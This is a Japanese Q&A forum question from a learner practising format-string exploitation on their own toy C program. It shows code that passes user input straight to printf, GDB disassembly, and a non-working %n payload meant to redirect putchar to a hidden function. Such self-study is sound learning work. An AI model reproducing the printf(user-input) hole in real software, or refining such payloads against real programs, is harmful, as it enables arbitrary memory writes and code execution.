以下のプログラムを作ってみました。
.#include<stdio.h>
void printHack(){
printf("成功です!\n");
}
int main(void){
char str[256];
fgets(str,256,stdin);
printf(str);
putchar('\n');
return 0;
}
これをgccでコンパイルしました。
環境はlinuxです。
最適化はしていません。
0x40064c <main+38> lea -0x100(%rbp),%rax
0x400653 <main+45> mov %rax,%rdi
0x400656 <main+48> mov $0x0,%eax
0x40065b <main+53> callq 0x4004e0 printf@plt
0x400660 <main+58> mov $0xa,%edi
0x400665 <main+63> callq 0x4004c0 putchar@plt
0x40066a <main+68> mov $0x0,%eax
0x40066f <main+73> leaveq
0000000000400616 <_Z9printHackv>:
400616: 55 push %rbp
400617: 48 89 e5 mov %rsp,%rbp
40061a: bf 08 07 40 00 mov $0x400708,%edi
40061f: e8 ac fe ff ff callq 4004d0 puts@plt
400624: 5d pop %rbp
400625: c3 retq
GDBと逆アセンブルで以上の結果を得ました。
このことから
printHack() の位置は 0x400616
putchar() の位置は 0x4004c0
でよろしいですよね??
これをputchar()のアドレスをprintHack()のアドレスに書き換えたいのです。
次に echo -e '\xc0\x04\x40%4195859c%6$n' | ./a.out
のようにして実行してみましたが、うまくアドレスの書き換えが成功しません。
\xc0\x04\x40 はputcharのアドレスをリトルエンディアンに、
0x400616を10進数に変換して-3を行っています。
どうすればうまく書き換えられますか?
教えてください。
回答2件
あなたの回答
tips
プレビュー
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。
2016/09/11 03:45
2016/09/11 04:38
2016/09/11 06:47